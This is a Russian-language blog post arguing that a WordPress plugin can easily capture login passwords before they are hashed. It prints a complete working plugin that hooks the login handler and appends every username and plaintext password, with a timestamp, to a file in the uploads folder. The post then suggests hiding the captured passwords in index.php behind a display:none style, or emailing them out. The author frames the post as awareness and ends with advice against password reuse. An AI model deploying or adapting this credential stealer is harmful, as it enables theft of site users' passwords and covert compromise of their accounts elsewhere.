На различны митапах и конференциях меня часто спрашивают как правило в пол голоса можно ли написать такое расширение что бы пароли посетителей веб сайта сохраняло в открытом виде.
Спрашивают это так часто и так неожиданно, что а даже не знаю с чего начать, с того что так делать плохо, или с того что это слишком легко.
И правда можно ли?
Если задуматься о том как обычно проходит авторизация пользователей как минимум на тех сайтах которые используют php, можно прийти к выводу что почти все они используют данные отправляемые методом POST или GET.
Теперь если вспомнить такую особенность php что все вышеперечисленные запросы содержатся внутри суперглобальных массивов, а супер глобальный массив доступен в любой части исполняемого скрипта (потому он так странно и назван) то можно сделать вывод что украсть и сохранить пароль можно еще до того как он преобразуется в хеш.
Для демонстранции я даже покажу пример плагина для WordPress который
Конечно я не несу ответсвенности за написанное, код размешен в образовательных целях и выдаст себя большим красным банером в админке.
<?php /* Plugin Name: Hacker Plugin URI: http://wordpress.org/wp-login-hacker Description: Matrix has you Author: Vladimir Petrozavodsky Version: 1 Author URI: https://alkoweb.ru/ */ function hack_notice() { $path = wp_upload_dir(); echo "<div class='updated error' id='hacker'> <p>Ваши аутентификационные данные сохраняются в открытом виде,</p> <p> в файл ".$path['basedir']."/database.txt <br> <p><strong>Это может иметь очень плохие последствия для вас и вашего cайта!!!</strong></p> </div>"; } add_action( 'admin_notices', 'hack_notice' ); function hack_css() { echo " <style type='text/css'> #hacker strong { color:red; } </style> "; } add_action( 'admin_head', 'hack_css' ); function hack_post_watcher(){ $path = wp_upload_dir(); if( !empty($_POST['log']) and !empty($_POST['pwd']) ){ $tmp = fopen($path['basedir'] . "/database.txt","at"); fwrite($tmp,$_POST["log"].':'.$_POST["pwd"].' '.date('d-m-Y h:m:s')."\n"); fclose($tmp); } } add_action('login_init', 'hack_post_watcher');
Основная идея тут в том что при в ходе входе на сайт плагин внедряет свой в скрипт обработки POST запросов, после чего добавляет их в специально созданный в каталоге /wp-content/uploads/database.txt и добавляет дату и время для наглядности (именно в этом каталоге потому что он скорее всего доступен на запись).
Да такую подозрительную активность легко заметить, но я и не пытался что либо скрыть, скорее наоборот. В реальной практике пароли можно писать например не в приметный database.txt а в index.php а в самое начало дописать например
<style> *{display:none;} </style>
злоумышленник сможет открыть этот файл в браузере и в исходном коде посмотреть пароли, а обычный пользователь ничего не усидит даже если случайно обнаружит этот url.
Но не обязательно что либо сохранять вообще, можно прямо средствами php отправлять пароли на сразу на email, а дальше на что фантазии хватит.
Так же многие ошибочно думают что их пароль от блога не представляет особой ценности или интересен только доя них самих.
Рассуждения с таких случаях строятся примерно так — сломают блог восстановлю бекап, пароли сменю, это очень и буду в полной безопасности.
Но это лишь иллюзия безопасности.
Как минимум по двум причинам.
Во-первых: не кривя душой вспомним как часто мы используем
одинаковые пары логин-пароль на разных сайтах, правильно часто ( ну или в лучшем случае делали это когда либо раньше).
Во-вторых: а кто сказал что вы вообще заметите присутствие опасного кусочка кода :)
На этом на сегодня все, придумывайте разные паром для критичных сервисов, и не задавайте глупых вопросов разработчикам.